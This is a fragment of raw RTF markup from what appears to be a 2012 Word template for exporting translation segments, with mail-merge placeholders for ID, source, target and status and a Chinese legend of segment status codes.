}{\*\defpap +\ql \li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 }\noqfpromote {\stylesheet{\qj \li0\ri0\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 +\fs21\lang1033\langfe2052\kerning2\loch\f0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 \snext0 \sqformat \spriority0 Normal;}{\*\cs10 \additive \ssemihidden Default Paragraph Font;}{\* +\ts11\tsrowd\trftsWidthB3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblind0\tblindtype3\tscellwidthfts0\tsvertalt\tsbrdrt\tsbrdrl\tsbrdrb\tsbrdrr\tsbrdrdgl\tsbrdrdgr\tsbrdrh\tsbrdrv +\ql \li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af0\afs22\alang1025 \ltrch\fcs0 \fs21\lang1033\langfe2052\kerning2\loch\f0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 +\snext11 \ssemihidden \sunhideused \sqformat Normal Table;}{\*\ts15\tsrowd\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidthB3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblind0\tblindtype0\tscellwidthfts0\tsvertalt\tsbrdrt\tsbrdrl\tsbrdrb\tsbrdrr\tsbrdrdgl\tsbrdrdgr\tsbrdrh\tsbrdrv +\qj \li0\ri0\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af0\afs20\alang1025 \ltrch\fcs0 \fs20\lang1033\langfe2052\loch\f0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 \sbasedon11 \snext15 \styrsid7231073 +Table Grid;}{\*\cs16 \additive \rtlch\fcs1 \af0 \ltrch\fcs0 \ul\cf2 \sbasedon10 \styrsid5069513 Hyperlink;}{\s17\qc \li0\ri0\nowidctlpar\brdrb\brdrs\brdrw15\brsp20 +\tqc\tx4153\tqr\tx8306\wrapdefault\aspalpha\aspnum\faauto\nosnaplinegrid\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af0\afs18\alang1025 \ltrch\fcs0 \fs18\lang1033\langfe2052\kerning2\loch\f0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 +\sbasedon0 \snext17 \slink18 \ssemihidden \sunhideused \styrsid11935318 header;}{\*\cs18 \additive \rtlch\fcs1 \af0\afs18 \ltrch\fcs0 \fs18 \sbasedon10 \slink17 \slocked \ssemihidden \styrsid11935318 \'d2\'b3\'c3\'bc Char;}{\s19\ql \li0\ri0\nowidctlpar +\tqc\tx4153\tqr\tx8306\wrapdefault\aspalpha\aspnum\faauto\nosnaplinegrid\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af0\afs18\alang1025 \ltrch\fcs0 \fs18\lang1033\langfe2052\kerning2\loch\f0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 +\sbasedon0 \snext19 \slink20 \ssemihidden \sunhideused \styrsid11935318 footer;}{\*\cs20 \additive \rtlch\fcs1 \af0\afs18 \ltrch\fcs0 \fs18 \sbasedon10 \slink19 \slocked \ssemihidden \styrsid11935318 \'d2\'b3\'bd\'c5 Char;}}{\*\rsidtbl \rsid599877 +\rsid608150\rsid1255587\rsid2698375\rsid2892456\rsid3934581\rsid3936425\rsid4081155\rsid4416445\rsid5069513\rsid5196498\rsid5662041\rsid5771882\rsid5840819\rsid6312964\rsid6377614\rsid6840796\rsid6968359\rsid7231073\rsid7690906\rsid8342235\rsid9201643 +\rsid9263924\rsid9456007\rsid9526854\rsid9962071\rsid10704782\rsid11083745\rsid11087189\rsid11414715\rsid11560315\rsid11737115\rsid11746903\rsid11935318\rsid12479908\rsid12588362\rsid12613898\rsid12677781\rsid12715023\rsid13008020\rsid13137282 +\rsid13182432\rsid13577806\rsid13967210\rsid14033508\rsid14424044\rsid15869228\rsid16452716\rsid16723424}{\mmathPr\mmathFont34\mbrkBin0\mbrkBinSub0\msmallFrac0\mdispDef1\mlMargin0\mrMargin0\mdefJc1\mwrapIndent1440\mintLim0\mnaryLim1}{\info{\author a} +{\operator Peason Guo}{\creatim\yr2012\mo2\dy20\hr18\min42}{\revtim\yr2012\mo10\dy30\hr15\min42}{\version39}{\edmins55}{\nofpages1}{\nofwords81}{\nofchars466}{\*\company a}{\nofcharsws546}{\vern32859}}{\*\xmlnstbl {\xmlns1 http://schemas.microsoft.com/off +ice/word/2003/wordml}}\paperw11906\paperh16838\margl1800\margr1800\margt1440\margb1440\gutter0\ltrsect +\deftab420\ftnbj\aenddoc\trackmoves1\trackformatting1\donotembedsysfont0\relyonvml0\donotembedlingdata1\grfdocevents0\validatexml0\showplaceholdtext0\ignoremixedcontent0\saveinvalidxml0\showxmlerrors0\hyphcaps0\formshade\horzdoc\dgmargin\dghspace180 +\dgvspace156\dghorigin1800\dgvorigin1440\dghshow0\dgvshow2\jcompress\ksulang2052\lnongrid +\viewkind1\viewscale130\splytwnine\ftnlytwnine\htmautsp\useltbaln\alntblind\lytcalctblwd\lyttblrtgr\lnbrkrule\nobrkwrptbl\snaptogridincell\allowfieldendsel\wrppunct\asianbrkrule\rsidroot11087189\newtblstyruls\nogrowautofit {\*\fchars +!),.:\'3b?]\'7d\'a1\'a7\'a1\'a4\'a1\'a6\'a1\'a5\'a8\'44\'a1\'ac\'a1\'af\'a1\'b1\'a1\'ad\'a1\'c3\'a1\'a2\'a1\'a3\'a1\'a8\'a1\'a9\'a1\'b5\'a1\'b7\'a1\'b9\'a1\'bb\'a1\'bf\'a1\'b3\'a1\'bd\'a3\'a1\'a3\'a2\'a3\'a7\'a3\'a9\'a3\'ac\'a3\'ae\'a3\'ba\'a3\'bb\'a3\'bf\'a3\'dd\'a3\'e0\'a3\'fc\'a3\'fd\'a1\'ab\'a1\'e9 +}{\*\lchars ([\'7b\'a1\'a4\'a1\'ae\'a1\'b0\'a1\'b4\'a1\'b6\'a1\'b8\'a1\'ba\'a1\'be\'a1\'b2\'a1\'bc\'a3\'a8\'a3\'ae\'a3\'db\'a3\'fb\'a1\'ea\'a3\'a4}\fet0{\*\wgrffmtfilter 2450}\ilfomacatclnup0{\*\ftnsep \ltrpar \pard\plain \ltrpar +\qj \li0\ri0\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid11935318 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 \fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 { +\rtlch\fcs1 \af0 \ltrch\fcs0 \insrsid11935318 \chftnsep +\par }}{\*\ftnsepc \ltrpar \pard\plain \ltrpar\qj \li0\ri0\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid11935318 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 +\fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\rtlch\fcs1 \af0 \ltrch\fcs0 \insrsid11935318 \chftnsepc +\par }}{\*\aftnsep \ltrpar \pard\plain \ltrpar\qj \li0\ri0\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid11935318 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 +\fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\rtlch\fcs1 \af0 \ltrch\fcs0 \insrsid11935318 \chftnsep +\par }}{\*\aftnsepc \ltrpar \pard\plain \ltrpar\qj \li0\ri0\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid11935318 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 +\fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\rtlch\fcs1 \af0 \ltrch\fcs0 \insrsid11935318 \chftnsepc +\par }}\ltrpar \sectd \ltrsect\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\*\pnseclvl1\pnucrm\pnstart1\pnindent720\pnhang {\pntxta \dbch .}}{\*\pnseclvl2\pnucltr\pnstart1\pnindent720\pnhang {\pntxta \dbch .}} +{\*\pnseclvl3\pndec\pnstart1\pnindent720\pnhang {\pntxta \dbch .}}{\*\pnseclvl4\pnlcltr\pnstart1\pnindent720\pnhang {\pntxta \dbch )}}{\*\pnseclvl5\pndec\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}{\*\pnseclvl6 +\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}{\*\pnseclvl7\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}{\*\pnseclvl8\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}{\*\pnseclvl9 +\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}\ltrrow\trowd \irow0\irowband0\ltrrow\ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 +\trbrdrv\brdrs\brdrw10 \trftsWidth3\trwWidth8568\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid12677781\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrnone +\clbrdrl\brdrnone \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrnone \cltxlrtb\clftsWidth3\clwWidth8568\clshdrawnil \cellx8460\pard\plain \ltrpar\ql \li0\ri0\nowidctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid11935318\yts15 +\rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 \fs20\lang1033\langfe2052\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid11935318\charrsid11935318 \loch\af0\hich\af0\dbch\f13 \'b1\'ed +\'b8\'f1}{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid11935318\charrsid11935318 \hich\af0\dbch\af13\loch\f0 Status }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid11935318\charrsid11935318 \loch\af0\hich\af0\dbch\f13 +\'c1\'d0\'b5\'c4\'d6\'b5\'d3\'eb\'ce\'c4\'b1\'be\'b6\'ce\'d7\'b4\'cc\'ac\'b5\'c4\'b6\'d4\'d3\'a6\'b9\'d8\'cf\'b5\'a3\'a8\'d3\'d0\'b6\'e0\'d6\'d6\'d7\'b4\'cc\'ac\'b2\'a2\'b4\'e6\'ca\'b1\'a3\'ac\'d2\'d4}{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 +\fs15\cf6\kerning2\insrsid11935318\charrsid11935318 \hich\af0\dbch\af13\loch\f0 & }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid11935318\charrsid11935318 \loch\af0\hich\af0\dbch\f13 \'c1\'ac\'bd\'d3\'a3\'a9\'a3\'ba}{\rtlch\fcs1 +\af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid11935318\charrsid11935318 +\par \hich\af0\dbch\af13\loch\f0 0 - }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid11935318\charrsid11935318 \loch\af0\hich\af0\dbch\f13 \'ce\'b4\'b7\'ad\'d2\'eb\'a3\'ac}{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 +\fs15\cf6\kerning2\insrsid11935318\charrsid11935318 \hich\af0\dbch\af13\loch\f0 1 - }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid11935318\charrsid11935318 \loch\af0\hich\af0\dbch\f13 \'b2\'dd\'b8\'e5\'a3\'ac}{\rtlch\fcs1 \af13\afs15 +\ltrch\fcs0 \fs15\cf6\kerning2\insrsid11935318\charrsid11935318 \hich\af0\dbch\af13\loch\f0 2 - }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid11935318\charrsid11935318 \loch\af0\hich\af0\dbch\f13 \'d2\'d1\'b7\'ad\'d2\'eb\'a3\'ac}{ +\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid11935318\charrsid11935318 \hich\af0\dbch\af13\loch\f0 3 - }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid11935318\charrsid11935318 \loch\af0\hich\af0\dbch\f13 \'d2\'d1\'c5\'fa +\'d7\'bc\'a3\'ac}{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid11935318\charrsid11935318 \hich\af0\dbch\af13\loch\f0 4 - }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid11935318\charrsid11935318 +\loch\af0\hich\af0\dbch\f13 \'d2\'d1\'c7\'a9\'b7\'a2\'a3\'ac}{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid11935318\charrsid11935318 \hich\af0\dbch\af13\loch\f0 7 - }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 +\fs15\cf6\kerning2\insrsid11935318\charrsid11935318 \loch\af0\hich\af0\dbch\f13 \'d2\'d1\'cb\'f8\'b6\'a8\'a3\'ac}{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid11935318\charrsid11935318 \hich\af0\dbch\af13\loch\f0 8 - }{\rtlch\fcs1 +\af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid11935318\charrsid11935318 \loch\af0\hich\af0\dbch\f13 \'b2\'bb\'cc\'ed\'bc\'d3\'b5\'bd\'bc\'c7\'d2\'e4\'bf\'e2\'a3\'ac}{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 +\fs15\cf6\kerning2\insrsid11935318\charrsid11935318 \hich\af0\dbch\af13\loch\f0 9 - }{\rtlch\fcs1 \af13\afs15 \ltrch\fcs0 \fs15\cf6\kerning2\insrsid11935318\charrsid11935318 \loch\af0\hich\af0\dbch\f13 \'d3\'d0\'d2\'c9\'ce\'ca\'a1\'a3}{\rtlch\fcs1 +\ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\kerning2\insrsid13577806\charrsid9201643 \cell }\pard\plain \ltrpar\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 +\fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\insrsid13577806\charrsid9201643 \trowd \irow0\irowband0\ltrrow\ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 +\trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidth3\trwWidth8568\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid12677781\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrnone \clbrdrl\brdrnone +\clbrdrb\brdrs\brdrw10 \clbrdrr\brdrnone \cltxlrtb\clftsWidth3\clwWidth8568\clshdrawnil \cellx8460\row \ltrrow}\trowd \irow1\irowband1\ltrrow\ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr +\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidth3\trwWidth8568\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid13577806\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl +\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth1008\clcbpatraw18 \cellx900\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 +\clcbpat18\cltxlrtb\clftsWidth3\clwWidth2880\clcbpatraw18 \cellx3780\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth3060\clcbpatraw18 \cellx6840\clvertalt +\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth1620\clcbpatraw18 \cellx8460\pard\plain \ltrpar +\ql \li0\ri0\nowidctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid9201643\yts15 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 \fs20\lang1033\langfe2052\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 +{\field\fldedit{\*\fldinst {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\kerning2\insrsid13577806\charrsid9201643 \hich\af38\dbch\af13\loch\f38 MERGEFIELD $header_id \\* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 +\b\f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid13577806\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $header_id}}}\sectd \ltrsect\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \ab\af38\afs18 +\ltrch\fcs0 \b\f38\fs18\kerning2\insrsid13577806\charrsid9201643 \cell }{\field\fldedit{\*\fldinst {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\kerning2\insrsid13577806\charrsid9201643 \hich\af38\dbch\af13\loch\f38 MERGEFIELD $header_source \\ +* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid13577806\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $header_source}}}\sectd \ltrsect +\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\kerning2\insrsid13577806\charrsid9201643 \cell }{\field\fldedit{\*\fldinst {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 +\b\f38\fs18\kerning2\insrsid13577806\charrsid9201643 \hich\af38\dbch\af13\loch\f38 MERGEFIELD $header_target \\* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 +\b\f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid13577806\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $header_target}}}\sectd \ltrsect\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \ab\af38\afs18 +\ltrch\fcs0 \b\f38\fs18\kerning2\insrsid13577806\charrsid9201643 \cell }{\field\fldedit{\*\fldinst {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\kerning2\insrsid13577806\charrsid9201643 \hich\af38\dbch\af13\loch\f38 MERGEFIELD $header_status \\ +* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid13577806\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $header_status}}}\sectd \ltrsect +\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \ab\af38\afs18 \ltrch\fcs0 \b\f38\fs18\kerning2\insrsid13577806\charrsid9201643 \cell }\pard\plain \ltrpar +\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 \fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\rtlch\fcs1 \af38\afs18 +\ltrch\fcs0 \f38\fs18\insrsid13577806\charrsid9201643 \trowd \irow1\irowband1\ltrrow\ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidth3\trwWidth8568\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid13577806\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl +\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth1008\clcbpatraw18 \cellx900\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 +\clcbpat18\cltxlrtb\clftsWidth3\clwWidth2880\clcbpatraw18 \cellx3780\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth3060\clcbpatraw18 \cellx6840\clvertalt +\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth1620\clcbpatraw18 \cellx8460\row \ltrrow}\trowd \irow2\irowband2\lastrow \ltrrow\ts15\trgaph108\trleft-108\trbrdrt +\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidth3\trwWidth8568\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid13577806\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl +\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth1008\clshdrawnil \cellx900\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 +\cltxlrtb\clftsWidth3\clwWidth2880\clshdrawnil \cellx3780\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth3060\clshdrawnil \cellx6840\clvertalt\clbrdrt\brdrs\brdrw10 +\clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth1620\clshdrawnil \cellx8460\pard\plain \ltrpar\ql \li0\ri0\nowidctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid3936425\yts15 +\rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 \fs20\lang1033\langfe2052\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\field\fldedit{\*\fldinst {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid13577806\charrsid9201643 +\hich\af38\dbch\af13\loch\f38 MERGEFIELD $es.Id \\* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid13577806\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $es.Id}}}\sectd \ltrsect +\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid13577806\charrsid9201643 \cell }\pard \ltrpar +\ql \li0\ri0\nowidctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid9201643\yts15 {\field\fldedit{\*\fldinst {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid13577806\charrsid9201643 \hich\af38\dbch\af13\loch\f38 + MERGEFIELD $es.Source \\* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid13577806\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $es.Source}}}\sectd \ltrsect +\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid13577806\charrsid9201643 \cell }\pard \ltrpar +\ql \li0\ri0\nowidctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid3936425\yts15 {\field\fldedit{\*\fldinst {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid13577806\charrsid9201643 \hich\af38\dbch\af13\loch\f38 + MERGEFIELD $es.Target \\* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid13577806\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $es.Target}}}\sectd \ltrsect +\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid13577806\charrsid9201643 \cell }\pard \ltrpar +\ql \li0\ri0\nowidctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid9201643\yts15 {\field\fldedit{\*\fldinst {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid13577806\charrsid9201643 \hich\af38\dbch\af13\loch\f38 + MERGEFIELD $es.Status \\* MERGEFORMAT }}{\fldrslt {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\lang1024\langfe1024\kerning2\noproof\insrsid13577806\charrsid9201643 \hich\af38\dbch\af13\loch\f38 $es.Status}}}\sectd \ltrsect +\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\rtlch\fcs1 \af38\afs18 \ltrch\fcs0 \f38\fs18\kerning2\insrsid13577806\charrsid9201643 \cell }\pard\plain \ltrpar +\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 \fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\rtlch\fcs1 \af38\afs18 +\ltrch\fcs0 \f38\fs18\insrsid13577806\charrsid9201643 \trowd \irow2\irowband2\lastrow \ltrrow\ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv +\brdrs\brdrw10 \trftsWidth3\trwWidth8568\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid13577806\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 